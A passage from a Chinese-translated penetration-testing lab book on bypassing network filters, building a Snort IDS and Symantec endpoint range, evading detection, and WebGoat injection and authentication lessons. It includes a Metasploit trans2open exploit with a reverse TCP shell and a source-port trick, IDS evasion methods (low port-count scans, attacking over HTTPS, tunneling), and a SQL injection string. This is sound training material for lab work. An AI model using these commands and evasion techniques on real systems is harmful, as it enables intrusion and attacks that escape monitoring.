如前面的截图所示,我们有许多可用的利用程序;我们希望选择评级为“优秀”或更高的那些,因为这将提供最大的成功机会。话虽如此,成功并不保证,但这就是利用的现实。那么,你会选择哪一个?好吧,我们已经讨论了研究的概念,这就是你找出哪一个对你最有效的方法。我们将为您节省时间;在您的 metasploit 窗口中输入以下内容:

use exploit/linux/samba/trans2open
set RHOST 10.2.0.140
set payload linux/x86/shell/reverse_tcp
set LHOST 10.2.0.135
set LPORT 123
exploit

我们使用 Kali 机器作为反向 shell 的连接,并使用端口 123 让它到达我们这里。通常不会被检查,因此通常会非常有效。这个利用将失败,因为没有流量来自的源端口。以下截图显示了一个示例:

渗透过滤器的技巧

如前面的截图所示,利用程序无法到达目标。好吧,我们知道我们有办法到达目标,这涉及将流量设置为来自特定源端口,那么我们该怎么办?幸运的是,metasploit 的创建者为我们提供了一种方法来做到这一点,但这并不为人所知,实际上也没有很好的文档记录,因此它随时可能消失;因此,最好保留旧的虚拟机,以防我们喜欢的东西消失。我们指的是CPORT选项;因此,在 metasploit 工具中输入以下命令,将所有流量从源端口 80 发送到目标:

set CPORT 80

然后,输入利用程序再次尝试。以下截图显示了一个示例:

渗透过滤器的技巧

同样,如果您的利用程序失败,这并不罕见,一个选择是设置网络平面,然后尝试利用程序。不幸的是,这里没有什么保证。最重要的是,您知道如何发现过滤器的存在,并知道如何尝试渗透过滤器的方法。

接下来要做的事情是尝试相同的过程和方法来攻击 iptables 机器。结果非常相似;因此,我们将把这留作一个作业任务,供那些想要练习的人。一如既往,记录下你的所有发现,并继续实验和学习。

总结

在本章中,我们建立了一个系统化的逐步过程,用于对各种设备进行评估。我们从路由器设备开始这一章,然后转向交换机。在路由器和交换机之后,我们转向讨论遇到防火墙时该怎么办。

一旦我们学会了处理多种不同的设备,我们就转向了识别现有过滤规则的方法。我们发现了何时以及如何对某些设备进行扫描时,它们的响应不符合 RFC 中规定的标准;此外,我们能够发现,当设备上存在规则时,通常会有一个端口的响应为我们提供了针对该设备进一步操作的额外细节。

最后,我们讨论了渗透过滤器的技巧,并研究了使用分段扫描;然而,这并没有取得太大的成功。然后,我们研究了强大的源端口扫描技术,事实上,这在允许我们枚举有关目标的额外信息方面非常成功;此外,我们展示了如果找到源端口的弱点,我们有选择从特定源端口发起攻击的选项。

这结束了本章。现在你已经有了一个处理设备时的完整流程和方法。正如我们在本章中讨论的,你将会有很多时候会在设备上寻找突破的方法,但这是专业安全测试的一部分,也是你学到最多的时候。事实上,在大多数情况下,你挣扎得越多,学到的就越多。始终记得记录你观察到的所有事情。这是一个谨慎和专业的测试人员在构建和测试他们的虚拟实验室时会采用的习惯。在下一章中,我们将看看如何设计一个 IDS/IPS 范围。

第八章:设计 IDS/IPS 范围

在本章中,我们将学习设计和构建各种 IDS/IPS 功能到我们的网络范围的技术。我们还将研究典型主机和端点安全配置的部署。我们将讨论以下主题:

  • 部署基于网络的 IDS

  • 实施基于主机的 IPS 和端点安全

  • 使用虚拟交换机

  • 规避

本章将为我们提供一种方法论,用于当我们遇到多种不同的监控设备时使用。在本章中,我们将研究规避,即避免被检测到的技术。虽然这是一个热门话题,作为专业的安全测试人员,现实情况是很少被要求;而且,它取决于很多因素,不是一件容易准备的事情。成功很大程度上取决于入侵检测系统(IDS)传感器的类型和位置以及其配置。有可能会要求您规避检测作为工作范围的一部分,这就是为什么我们在本书中涵盖这一内容。

部署基于网络的 IDS

正如我们在第六章中讨论的那样,当我们部署基于网络的入侵检测系统(IDS)时,我们在网络的每个段上放置一个传感器。传感器由放置在混杂模式的网络卡组成,这会关闭 MAC 地址过滤。所有的流量都会通过堆栈传递到监视传感器的应用程序。我们还讨论了在交换机上部署传感器的挑战,因为流量不会发送到所有端口,这可能会对向传感器提供数据构成挑战。

对于基于网络的 IDS,IDS 的功能是在数据包级别处理网络流量,然后分析其中可能表明攻击的特征或模式。在考虑这一点时,请记住网络传感器正在捕获数据包;那么在任何时候有多少数据包在网络中传输?这是基于网络的 IDS 的挑战之一(如何处理网络速度不断增加的流量)。然而,我们正在超前。我们要做的第一件事是设计我们的架构,以便我们能够充分代表我们可能在客户网络上看到的典型 IDS。我们将使用以下图表:

部署基于网络的 IDS

我们的架构

我们可以在每个点构建架构并测试传感器,但实际上这样做没有意义。这是因为我们有幸使用虚拟环境,比如 VMware。因此,一旦我们决定要测试什么,我们只需将网络适配器更改为连接到该交换机。这也是我们做出选择的另一个原因。

还有一件事要注意的是,我们希望有一个受害者来攻击并查看 IDS 的响应,但更好的方法,特别是在规避方面,是将攻击流量直接引导到网络传感器。这将使我们有能力看到攻击是否能够在不被检测到的情况下通过传感器。我们将在规避部分中进行这项工作。

接下来,我们将启动三台机器并验证我们是否已经启动并运行了 IDS。在执行此操作之前,您应该使用网络安全工具包、Kali 机器和受害者验证您的设置,并检查它们是否都连接到 VMnet2 开关。您可能会想知道为什么我们不使用 VMnet8 开关,因为它可以为我们提供互联网连接和 VMware 的其他内置功能。这是一个有效的问题,我们选择另一个开关的最大原因是我们希望确保没有任何偶发或异常的流量会给传感器带来问题。VMnet8 开关与主机机器共享适配器配置,并且通常会传输数据包,可能会干扰我们的结果。一旦机器启动,我们将启动 Snort 传感器。登录到网络安全工具包虚拟机,然后点击活动并选择 Firefox 图标。

当 Firefox 网络浏览器启动时,如果用户名和密码详情没有填写,请输入所需信息,然后点击确定。这将使您进入网络安全工具包 Web 用户界面的主页。然后,转到安全 | 入侵检测 | Snort IDS,如下截图所示:

部署基于网络的 IDS

一旦 Snort 页面打开,您将想要查看您暂停或关闭虚拟机时留下的机器状态。如果您没有看到列出的状态传感器,则必须为传感器配置接口。即使我们之前解释过这一点,我们将再次进行操作,以便您不必寻找它。如果您没有看到列出的传感器,则需要向下滚动并选择适当的接口。对于本书,我们使用 eth1 接口,因此接下来的示例将基于此。如果您已将 VMnet2 开关设置为另一个接口,则必须选择该接口而不是我们使用的接口。

一旦您选择了适当接口的单选按钮,然后点击设置/启动 Snort来启动接口上的传感器。

注意

您很可能需要点击两次按钮才能使传感器真正启动。

一旦传感器成功启动,您应该看到 Snort 传感器处于运行状态,如下截图所示:

部署基于网络的 IDS

显示 Snort 传感器处于运行状态的屏幕(裁剪的文本不重要)

一旦进程处于我们想要的状态,我们将验证我们的规则是否已打开。点击规则并验证是否选择了扫描规则。如下截图所示:

部署基于网络的 IDS

验证屏幕是否选择了扫描规则(裁剪的文本不重要)

注意

如果您更改了规则,则必须重新加载传感器。重新加载按钮位于规则按钮的右侧。

现在我们的规则已经达到我们想要的效果,我们准备验证我们的传感器是否正在运行。我们之前已经介绍了这些步骤,但我们不会让您自己去找。我们必须打开一个终端窗口并输入以下命令:

cd /etc/snort_eth0
snort –A –c snort.conf

一旦您启动了 Snort,打开另一个窗口并使用非法标志组合扫描来验证传感器是否正常工作。作为提醒,在第六章中,我们使用了圣诞树扫描,创建外部攻击架构,您可以使用这个或包含非法标志(如 FIN 或 NULL 扫描)的任何扫描。

除了 Snort 的易于设置之外,我们还喜欢网络安全工具包的另一点是我们有出色的 Snort 工具。我们将查看Base Analysis Search EngineBASE)工具。要启动 BASE,您需要导航到安全 | 入侵检测 | BASE。示例如下截图所示:

部署基于网络的 IDS

当 BASE 工具启动时,将要求您进行身份验证。凭据应该已经为您输入,如果没有,则必须输入适当的凭据以访问 GUI。完成后,单击确定,如下截图所示:

部署基于网络的 IDS

BASE GUI 允许我们在图形显示中记录传感器检测到的警报。返回到您的 Kali 机器并再次运行圣诞树扫描。作为提醒,您可以使用X选项配置扫描。扫描完成后,返回到BASE显示并刷新显示,您现在应该看到检测到的 TCP 流量,如下截图所示:

部署基于网络的 IDS

BASE 工具的一个好处是您可以从警报中检查的信息。我们现在将这样做。单击百分比数字,这将打开另一个窗口,其中列出了传感器检测到的警报。示例如下截图所示:

部署基于网络的 IDS

接下来要做的是检查警报。单击警报时,将看到有关警报的其他信息。示例如下截图所示:

部署基于网络的 IDS

如前面的截图所示,可以查看数据包的组成,包括封装数据的显示。这显示了Nmap工具设置 FIN、PUSH 和 URGENT 标志以表示扫描。一些工具在执行扫描时会设置所有六个标志。

Meta部分和触发签名下有两个链接。单击 Snort 链接,将显示触发签名的规则。示例如下截图所示:

部署基于网络的 IDS

前面的截图显示了您可以检查的信息,以发现有关签名的其他详细信息,以及触发事件的影响。此外,您还可以了解有关误报率的信息。这很重要,因为许多实施 IDS 的管理员会关闭生成大量误报警报的签名。事实上,您可能还记得,我们不得不打开扫描规则,这是因为它有很高的误报率。现在我们将检查 Nmap XMAS 扫描的误报率。向下滚动并查看信息。示例如下截图所示:

部署基于网络的 IDS

现在我们有一个 IDS 范围,可以用来观察我们不同的工具和技术的反应。在这之前,我们将清除机器中的任何警报,为此,您需要转到查询结果屏幕的底部,然后导航到操作 | 删除警报。完成此操作后,单击整个查询按钮以删除警报,然后通过单击主页返回到主屏幕。我们将使用 Nikto Web 扫描工具来查看 Snort 传感器在使用扫描程序时的反应。我们将扫描 Snort 传感器网络上的网络安全工具包 Web 服务器。要在 Kali Linux 机器上进行扫描,打开终端窗口并输入nikto –ssl –h <传感器的 IP 地址>,如下截图所示:

部署基于网络的 IDS

ssl 选项用于强制检查 安全套接字层 (SSL),因为在默认配置中,网络安全工具包在端口 80 没有 web 服务器;只有 HTTPS 端口 443 可以访问。扫描完成后,您会注意到有几个发现。要查看这些发现,您需要向后滚动并寻找它们。与大多数工具一样,有更好的方法,我们现在将探讨这一点。

在终端窗口中,我们将使用工具的输出功能将其写入文件。输入 nikto –ssl –h <传感器的 IP 地址> -o file.html,如下面的截图所示:

部署基于网络的 IDS

这将工具发现的输出写入了一个 HTML 文件。通过导航到 应用程序 | 互联网 | Iceweasel Web 浏览器 来打开 Iceweasel。当浏览器打开时,打开您创建的文件并查看结果。您会看到输出结果更容易阅读,如下面的截图所示:

部署基于网络的 IDS

现在是时候返回到我们的 Snort 传感器和 BASE 显示,看看是否有任何警报。我们进行了许多网络扫描,想要看看检测到了什么。返回到您的网络安全工具包,刷新 BASE 显示并查看信息。以下是示例截图:

部署基于网络的 IDS

正如前面的截图所示,我们没有警报!为什么呢?这是试错过程的一部分。我们知道在配置 Snort 传感器时加载了特定规则,因为我们过去必须启用一些规则。因此,从这里开始的过程将是尝试启用更多规则并查看发生了什么。还有很大的可能性存在其他问题,但只要我们发送非法的标志组合数据包进去,我们就会收到某种警报,这告诉我们传感器正在工作。在这种情况下,即使您打开了所有规则,也不会有警报。我们将在规避部分得到答案。

实施基于主机的 IDS 和端点安全

一个站点可以配置和部署他们的基于主机的保护或者说他们的端点安全的不同方式。作为测试人员,在实施这些措施时需要进行实验。这些产品大多是商业产品,您必须从供应商那里获取试用版本或请求概念实施。无论哪种方式,您在网络范围内部署这些产品的能力将在很大程度上取决于您的客户拥有什么。这是在您进行非侵入式目标搜索的早期阶段获取的信息。然而,通常在会议上确定工作范围时或在允许并且在范围内的测试的社会工程阶段提供给您。

我们将查看 Symantec 的一些热门端点保护软件。正如我们在前一段中所说,您可能会遇到其他软件,但在这些检测解决方案的大多数中,都设置了一些警报或报警阈值。作为测试人员,这就是我们需要确定的。因此,这将在规避部分进行讨论。

我们将要查看的 Symantec 版本是较旧的版本(版本 11.0),但它将满足我们的目的。这里的意图是,当您准备进行一项工作时,您将在实验室环境中尽可能多地创建。一旦您安装了基于主机的 IDS 或 IPS,您将查看其配置,以了解工具用于检测和/或阻止事件的内容。

使用 Symantec 工具,我们查看工具配置中的选项以获取这些信息。以下是仪表板的示例截图:

实施基于主机的 IDS 和端点安全性

正如前面的屏幕截图所示,有三个主要的保护区域。我们目前只启用了一个,这是我们首先要看的。我们将导航到选项 | 更改设置 | 入侵防范,以打开菜单来更改阻止疑似攻击流量的设置。以下是此示例的示例:

实施基于主机的 IDS 和端点安全性

正如前面的屏幕截图所示,我们有许多数值可以配置和自定义,这是我们作为测试人员面临的挑战之一。如果管理员已经调整或更改了设置为不同的值,我们可能无法逃避检测,但我们现在还没有进入逃避部分。我们已经在这里更改了默认值。

接下来我们需要做的是看看我们是否能够检测到潜在的攻击并实际上阻止 IP 地址。我们可以使用 Nmap,但我们更喜欢使用更具攻击性的工具,这就是 Nikto 的用武之地。我们将把它指向 Symantec 机器的 IP 地址,看看会发生什么。以下是结果的示例:

实施基于主机的 IDS 和端点安全性

正如前面的屏幕截图所示,攻击已被检测到并且 IP 地址现在被阻止;这就是为什么我们将阻止时间改为 60 秒,这样 Nikto 扫描就不会花太长时间。扫描完成后,我们可以在 Symantec 工具中查看检测历史和相应的阻止。所有这些功能对用户来说非常好用,但对攻击者也很有利。以下是 Nikto 扫描的日志结果示例:

实施基于主机的 IDS 和端点安全性

正如前面的屏幕截图所示,入侵防范工具已经检测到并随后阻止了来自该工具的攻击尝试。问题在于,正如你们中的许多人可能知道的那样,IP 阻止并不总是一个好主意,因为我们可以伪造 IP 地址,然后用户将被阻止。这就是为什么 IP 阻止通常只针对可能导致重大损失的东西进行配置的原因之一。

Symantec 工具还有其他几个部分,我们这里不会全部涵盖。但是,我们将看一下一个与网络无关但实际上与主机相关的部分。我们现在要看的功能是防病毒和防间谍软件保护。我们要做的第一件事是点击修复所有按钮,这将打开所有的保护措施,如下一张屏幕截图所示:

实施基于主机的 IDS 和端点安全性

屏幕显示所有的保护措施(裁剪的文本不重要)

我们现在已经启用了所有的端点保护;因此,任何我们尝试放入机器上被视为威胁的程序都将被保护机制标记。为了证明这一点,我们将使用 Jamie Butler 于 2005 年编写的 FU rootkit 来展示 Microsoft 使用 Intel 架构环的弱点。这个问题的详细解释超出了本书的范围,但是对于想了解更多的人,可以获取他与 Greg Hoglund 合著的书籍Rootkits: Subverting the Windows Kernel, Addison Wessely

当我们将 FU rootkit 的可执行文件复制到受保护的机器上时,它立即被检测为威胁,如下一张屏幕截图所示:

实施基于主机的 IDS 和端点安全性

正如前面的截图所示,它已被检测并分类为Hacktool.Rootkit,因为被视为威胁,所以被删除了。我们可以通过单击防病毒和防间谍软件保护来查看检测的更多细节。导航到选项 | 查看日志 | 风险日志以查看已检测到的风险。以下是一个示例截图:

实施基于主机的 IDS 和端点安全性

正如前面的截图所示,检测是在两个文件上进行的,可执行文件是一个,msdirectx.sys是加载和用于访问内核内存的驱动程序。FU rootkit 是一个先驱,因为它是第一个实现Direct Kernel Object MemoryDKOM)操纵的。

那么,这对我们的范围架构有什么影响呢?嗯,正如已经提到的,你将会遇到各种各样的产品。所以,在大多数情况下,我们等待并查看客户可用的产品,然后开始研究获取副本并进行实验。正如你们中的许多人可能知道的那样,关键在于我们因文件的签名而被检测到。因此,我们将使用工具来更改该签名;然而,这是逃避,所以我们将在本章后面进行讨论。

使用虚拟交换机

在构建我们的范围时,我们必须考虑我们拥有的交换机类型,以及我们是否需要配置Switch Port AnalyzerSPAN)或Test Access PointTAP)。像大多数事情一样,每种方法都有优缺点。您可以在网站www.networktaps.com上了解更多信息。以下是网站上的比较示例截图:

使用虚拟交换机

如果您正在使用物理交换机构建您的范围,那么这是您必须考虑的事情。但是,如果您使用虚拟交换机,那么我们就没有这个挑战。我们已经看过一次,但我们想从入侵检测的角度来看。为此,我们将运行我们的扫描,但这次不是直接在传感器上。在继续之前,您需要 Kali Linux 机器、OWASP 和 Network Security Toolkit。启动这三台虚拟机器后,我们将继续。

一旦机器上线,我们将从我们的 Kali Linux 机器对 OWASP 机器进行扫描,并跨 VMnet2 交换机运行 Network Security Toolkit 上的 Snort 传感器。设置如下图所示:

使用虚拟交换机

接下来,您需要在 Network Security Toolkit 机器上启动 Snort 传感器。我们在本章前面介绍了这些步骤。

注意

在正确的接口上启动传感器,选择连接到 VMnet2 的接口。在本书中,我们使用 eth1 接口。

传感器运行后,启动 BASE GUI 并清除当前列出的所有警报。我们接下来要做的是从 Kali Linux 机器对 OWASP 机器进行扫描。我们可以使用任何工具,但是为了演示,我们将使用之前使用过的 Nikto 工具。我们的 OWASP 机器的目标 IP 地址是10.2.0.132,这是我们在工具中将使用的地址。在 Kali Linux 终端窗口中,输入nikto –h 10.2.0.132来扫描 OWASP 机器。返回到 BASE 显示并查看攻击是否被检测到。

以下是示例截图:

使用虚拟交换机

显示 BASE 显示的屏幕(裁剪的文本不重要)

正如前面的截图所示,流量已经生成了一些警报。接下来我们要做的是查看传感器生成的警报。点击100%,这将显示传感器报告的警报列表。由于我们使用 Nikto 工具,我们正在寻找与 Web 流量相关的警报。以下是一个示例:

使用虚拟交换机

现在我们有了警报,所以选择其中一个并进一步检查。在本章早些时候我们检查警报时,我们看到了有关生成警报的数据包的附加信息。然而,我们没有任何有关数据包有效载荷的信息。这是因为没有有效载荷可以捕获。由于这些数据包是攻击模式,我们有更好的机会找到有效载荷。以下是目录遍历攻击的有效载荷示例:

使用虚拟交换机

你可以看到,虚拟交换机上的传感器不需要 SPAN 或镜像来查看网络流量,就像物理交换机一样,所以我们准备继续下一节。

规避

在这一部分,我们将讨论规避的主题。这来自于经常提到的永远不要被抓住!的概念。虽然这在戏剧中很有趣,但现实是渗透测试很少会要求这样做。此外,这高度依赖于管理员如何配置他们的环境。没有保证我们会通过,但我们可以进行实验,并至少找到一些可能在我们的工作范围内起作用的东西。

确定阈值

我们想要关注的是所有这些工具都必须有某种阈值,并且在达到这个阈值时会发出警报。这就是我们可以找到规避检测的方法。如果我们重新审视我们的 Snort 传感器并清除所有现有的警报,我们可以尝试一些不同的事情,看看何时被探测到,何时没有被探测到。

注意

要记住的一件事是,任何带有非法标志组合的扫描都会立即被探测到,所以如果规避是你工作范围的一部分,要避免这些。

对于 Snort 传感器,阈值似乎在五个关闭的端口左右,也就是说,收到 RST 数据包会让你被探测到;因此,只要你在任何时候扫描的端口数保持在五个以下,你就不会被探测到。

压力测试

我们可能需要对我们的 IDS 传感器进行的另一种测试是压力测试。通过这种技术,我们产生大量噪音,看攻击是否能被噪音掩盖,或者传感器是否会被压倒而停止工作。在 Kali 发行版中,有许多工具可以做到这一点,欢迎你去尝试。你可以通过导航到应用程序 | Kali Linux | 压力测试来找到它们,并查看那里的程序。我们将把这个测试留给你做家庭作业。你会发现 IDS 工具已经存在了很长时间,不会被这些攻击淹没。话虽如此,总会有机会,这就是为什么我们要涵盖它的原因。

Shell 代码混淆

在检测利用程序时,被检测到的数据是 shell 代码;此外,还有该代码的签名。由于这是一个标准,工具很容易检测到它。我们现在来看看这个。你需要你的 Kioptrix 机器,因为我们要利用它。我们已经讨论了许多这样做的方法,对于我们的目的,我们将使用 metasploit 工具来利用它。当我们试图规避检测时,有许多参数可以操纵,不幸的是,没有保证。如果你使用 Armitage 工具,那么你可以选择显示高级选项来查看我们可以使用的额外参数。以下是一个示例:

Shell 代码混淆

我们将首先使用默认设置进行漏洞利用,看看 BASE 工具检测到了什么。再次强调,逃避没有保证,所以这是一个实验和记录你的发现的问题。漏洞利用尝试的示例如下截图所示:

Shell code obfuscation

如前面的截图所示,我们并没有成功,所以现在我们将修改载荷,看看我们是否有更好的运气。这是一个过程:你尝试不同的方法,找出什么有效,什么无效。这就是为什么很少会要求逃避的好事。

在高级选项中,我们可以修改许多参数,但在撰写本书时,我们无法成功地使用这些工具逃避检测。如果你想了解更多,你可以收集更多信息,并查看一个针对反病毒逃避编写的脚本:healthtalkie.com/discussion/script-for-av-evasion-uz3mb.php

关于逃避,我们还有最后一件事要尝试。有时,尝试不同的端口可能更容易,因为你知道默认情况下 IDS 不会检查的端口。这种遗漏是正常的,因为流量会产生太多的误报。

在本章的前面,我们使用 Nikto 工具对网络安全工具包进行了扫描,并没有发现任何问题。现在我们将更仔细地研究一下。我们对 NST 进行的扫描是针对端口 443 和协议HTTPS的。为什么没有被检测到可能有多个原因。首先,我们将测试是否没有被检测到是因为攻击是针对端口 443 的,实际上这是加密流量,IDS 对此是盲目的。我们有几种选择来完成这个测试。我们可以在 NST 虚拟机上启动 web 服务器,或者在 OWASP 机器的服务器上激活 HTTPS 协议。我们将使用 NST 机器;我们必须导航到配置文件并取消注释 HTTP 行以在机器上运行它。在终端窗口中,输入gvim /etc/httpd/conf/httpd.conf来打开配置文件。

滚动到服务器配置部分,并删除#以取消注释Listen 80,如下截图所示:

Shell code obfuscation

编辑完成后,通过导航到文件 | 保存-退出退出编辑器。接下来你需要做的是重新启动 web 服务器。在终端窗口中,输入service httpd restart来重新启动服务。服务重新启动后,我们将使用 Nikto 对 NST 机器进行扫描。对于第一次扫描,我们将使用 SSL 选项,但在此之前,请确保清除 BASE 中的所有查询。返回到你的 Kali 机器并扫描 NST 机器的 IP 地址。在我们的例子中,机器地址是 10.2.0.144,这就是我们将要使用的。在终端窗口中,输入nikto -ssl -h 10.2.0.144。扫描完成后,返回到你的 BASE 并查看扫描是否被检测到。你被检测到了吗?答案应该是否定的!为什么呢?好吧,在回答这个问题之前,和所有的良好测试一样,我们将证明它。你的 BASE 显示中不应该有任何警报。返回到你的 Kali 机器并再次运行扫描,不要强制它通过 SSL。在终端窗口中,输入nikto -h 10.2.0.144。扫描完成后,返回到 BASE 显示并查看扫描是否被检测到。仪表板的示例如下截图所示:

Shell code obfuscation

显示 BASE 显示的屏幕(裁剪的文本不重要)

正如前面的屏幕截图所示,我们可以将攻击定向到 SSL 端口 443,但传感器没有设置警报。这是相当常见的,但管理员总是有可能打开规则来检查 HTTPS 流量。然而,这确实给了我们一个规避检测的潜在方法。再次强调,您的成功将有所不同,但如果这是工作范围的一部分,这些技术中的一些可能会帮助您规避客户的监控能力。这种技术也是隧道技术的过程,我们通过另一个端口进行协议隧道,比如 SSH 端口,这样 IDS 可能不会检查它,因为通常是加密的。

总结

在本章中,我们讨论了在我们的范围架构中构建 IDS/IPS 能力的要求。我们讨论了如何部署基于网络的 IDS 以及在每个网络段上放置传感器的配置。我们部署了 Snort IDS,并在部署后检测到了许多攻击。

在网络 IDS 之后,我们研究了基于主机的保护以及赛门铁克提供的一种端点保护方法。我们尝试使用 Web 攻击工具 Nikto 攻击机器,并在检测到攻击后触发软件阻止 IP 地址。我们通过尝试将恶意文件传输到机器中来完成端点保护部分,赛门铁克工具成功检测到并在文件传输到机器之前将其删除。

最后,我们讨论了逃避检测的话题,结束了这一章节。我们解释说,在专业测试范围内很少会被要求进行逃避检测,但也有可能会被要求。正如本章所讨论的,这方面并没有保证,因为我们的成功取决于设备管理员的配置。话虽如此,当我们使用包含加密数据的端口时,成功率最高。此外,我们在未被发现的情况下扫描了网络安全工具包虚拟机的 443 端口,但当我们在 80 端口运行攻击时被发现了。

这结束了本章。您现在已经在您的范围环境中部署了 IDS/IPS,并且已经了解了规避检测的方法。在下一章中,我们将研究如何将 Web 服务器和 Web 应用程序添加到我们的范围架构中。

第九章:评估 Web 服务器和 Web 应用程序

在本章中,您将学习评估我们可能遇到的绝大多数环境中的 Web 服务器和 Web 应用程序的技术。我们将讨论以下主题:

  • 分析 OWASP 十大攻击

  • 识别 Web 应用程序防火墙

  • 渗透 Web 应用程序防火墙

  • 工具

本章将为我们提供有关最受欢迎的攻击向量之一的信息,这种攻击向量几乎可以在任何环境中访问。几乎所有组织都需要一定形式的在线存在。因此,我们很可能会有一个 Web 服务器,可能还有一些 Web 应用程序,我们可以尝试利用它们来破坏客户系统和/或网络。

分析 OWASP 十大攻击

开放式网络应用安全项目(OWASP)组是我们可以利用的最佳资源之一,不仅可以收集有关不同类型的攻击信息,还可以了解防御这些攻击和安全编码指南的方法。在测试模式下,我们将集中关注攻击。关于这一点的一个很好的参考是 OWASP 十大攻击。您可以在www.owasp.org/index.php/Category:OWASP_Top_Ten_Project下载最新版本。

OWASP 组还有一个名为 WebGoat 的优秀教程。您可以在www.owasp.org/index.php/OWASP/Training/OWASP_WebGoat_Project找到有关教程的更多信息。

选择 OWASP Broken Web Application 虚拟机的一个优势是附带的工具。一旦启动了 OWASP 虚拟机,将为我们需要连接的接口分配一个地址。在本书的示例中,接口被分配了 IP 地址 10.2.0.132,因此所有示例将使用此地址。

一旦机器启动,我们将从 Web 浏览器访问它。因此,我们打开我们选择的浏览器,并输入http://10.1.0.132以打开机器的主页。

注意

您将需要一个连接到主机的 VMnet2 交换机,才能从主机上的浏览器访问虚拟机。如果使用虚拟机,则只要在 VMnet2 交换机上就可以了。

分析 OWASP 十大攻击

用户登录后显示的页面

现在,我们准备使用此项目中包含的功能来查看特定的攻击。

注入漏洞

注入漏洞已经成为 OWASP 十大攻击的多个版本中的头号攻击,并且仍然保持领先地位。最流行的注入类型是臭名昭著的 SQL 注入。尽管我们警告开发人员并提供了许多资源,以便他们能够设计安全的应用程序,我们仍然看到这种攻击仍然成功。在注入攻击中,这只是众多方法中的一个。我们可以进行 HTML、XML 和 LDAP 注入。所有这些攻击的主要组成部分都是让应用程序执行意外的操作,或者在未经授权的情况下访问数据。

我们将使用 WebGoat 工具来了解这是如何完成的。在 OWASP Broken Web Application 首页,单击OWASP WebGoat以打开登录页面。在登录页面中,输入用户名guest和密码guest以进入教程。教程首页的示例如下截图所示:

注入漏洞

点击Start WebGoat来启动工具。这将带你进入工具内包含的可用培训课程的界面。你可以看到有大量的可用课程,因此,花时间学习这些课程将是有益的。由于我们正在讨论注入缺陷,你会在菜单的左侧看到相关内容。点击这个并展开该主题下的不同课程。一个例子如下截图所示:

Injection flaws

主题下的不同课程(裁剪的文本不重要)

正如前面的截图所示,我们可以处理各种各样的缺陷,主要的是与 SQL 注入有关的。我们将查看列表中的第五个,所以点击String SQL Injection来打开课程的第一页并查看描述。一个例子如下截图所示:

Injection flaws

正如前面的截图所示,并且在查看教程时你会看到,有提示解决方案视频可以帮助你完成课程。你们中的许多人可能知道,测试 SQL 注入最简单的方法是输入一个单引号(')字符,看看我们是否能通过前端到后端数据库并产生错误消息。我们现在尝试一下。输入一个单引号字符作为名称,然后点击Go!。这将提交给应用程序。结果的例子如下截图所示:

Injection flaws

那么,前面截图中的结果告诉我们什么?它告诉我们,我们现在有证据表明我们输入的字符通过了前端应用程序,因为它被放入了一个查询中!如果前端捕捉到它,那么它就不会成为查询的一部分。我们看到的错误是因为这不是一个有效的 SQL 查询。现在的问题是输入一个会评估为真的字符串。我们在 SQL 注入攻击中最常用的字符串是' OR 1=1 --,当数据输入没有得到适当的净化时,可以倾倒数据库的内容。当我们使用这个常见的攻击字符串时返回的结果如下截图所示:

Injection flaws

正如前面的截图所示,我们已经成功地倾倒了整个数据库的内容。输出还告诉我们,课程已经切换到了一个参数化查询,让我们再试一次。你可以尝试这个,但我们提前告诉你,一旦查询切换到基于参数的条件,攻击将不再起作用。这里有很多 SQL 注入的课程,鼓励你去探索。我们将继续下一个攻击项目。

破损的身份验证和会话管理

当一个应用程序被设计时,设计者必须保护用于身份验证的令牌和会话密钥。不幸的是,这个领域经常被忽视或者从安全的角度实施得很差,因此,为我们提供了一个很好的攻击向量。这种攻击通常涉及捕获身份验证令牌的某种形式,然后破解令牌或使用令牌来假扮某人的身份。在我们的 WebGoat 工具中,我们有两个部分来学习这些攻击,它们是身份验证缺陷和会话管理缺陷。我们将看看身份验证缺陷。在 WebGoat 教程中,屏幕的左侧,导航到Authentication Flaws | Basic Authentication来打开课程。一个例子如下截图所示:

Broken authentication and session management

当您阅读课程信息时,显然我们需要拦截应用程序和客户端的流量,以查看其编码方式。最常见的方法是使用代理,有许多代理可供选择。我们将使用一个简单的插件,它是 Firefox 的插件Tamper Data

一旦您将插件添加到浏览器中,我们就准备好从服务器捕获流量了。在您的 Firefox 浏览器中,导航到工具 | Tamper Data以打开工具。示例如下图所示:

破损的身份验证和会话管理

要开始使用代理捕获数据,请点击开始 Tamper。接下来要做的是返回 WebGoat 课程并点击提交按钮将查询发送到应用程序。当工具接收到请求时,您将收到一条消息,如果收到多条消息,请确保您选择要篡改的消息具有 OWASP 虚拟机的 URL。所需请求的示例如下图所示:

破损的身份验证和会话管理

当您审查拦截的信息时,您会看到我们有CookieAuthorization字段,我们将集中在这两个字段上。我们还将专注于Authorization字段中的值。这是 Base64 编码的,有许多方法可以解码该值。可以在base64-decode.com找到一个网站,它将获取值并为您解码。解码后的值为guest:guest

现在我们有了完成课程所需的信息;至少看起来是这样。我们将返回 WebGoat 课程并输入身份验证字段的名称,即Authorization,以及编码字符串的值为guest:guest,然后点击提交将值加载到应用程序中。预期结果的示例如下图所示:

破损的身份验证和会话管理

正如之前的屏幕截图所示,我们已经成功。但我们还有更多工作要做;这不仅仅是一个步骤的课程。现在我们需要尝试让应用程序接受我们的登录为basic:basic。为了实现这一点,我们需要破坏数据并强制应用程序在破坏后进行身份验证。当您按照课程的指示操作时,您会看到它说要选择基本身份验证课程以继续挑战。当您这样做时,您将看到Tamper Data中的页面:点击Tamper以打开页面以便修改。关键在于我们需要破坏CookieAuthorization这两个字段,删除每个字段中的一个字符。一旦应用程序检测到破坏,它将提示再次输入凭据,当它这样做时,输入basic作为用户名和basic作为密码,如下图所示:

破损的身份验证和会话管理

输入凭据后,点击确定将数据提交给应用程序。检查拦截的查询,您会注意到您的密码现在是basic,并且它是 Base64 编码的。我们现在已经将basic作为用户进行了身份验证,但我们还没有完成。

我们必须说服 WebGoat 工具我们是用户basic,我们已经在服务器端完成了这一点。所以,现在我们需要说服 WebGoat 工具。最简单的方法是破坏JSESSIONID,如下图所示:

破损的身份验证和会话管理

如前面的截图所示,你需要输入novalidsession来破坏会话并强制 WebGoat 再次请求凭据,这将验证你为用户basic。一旦发生这种情况,你点击基本身份验证链接完成课程。示例如下截图:

破碎的身份验证和会话管理

点击基本身份验证链接后的屏幕(裁剪的文本不重要)

这就是 Web 应用程序测试的过程;有很多不同的编写代码的方式,你必须分析和解释代码在做什么。在这节课中,我们首先必须拦截查询,以确定我们需要与之交互的参数的名称。一旦我们做到了这一点,我们必须先破坏服务器端,然后再破坏客户端,才能成功完成课程的要求。这里有很多课程,你练习得越多,就越能够识别认证和会话管理的特征。

跨站脚本攻击

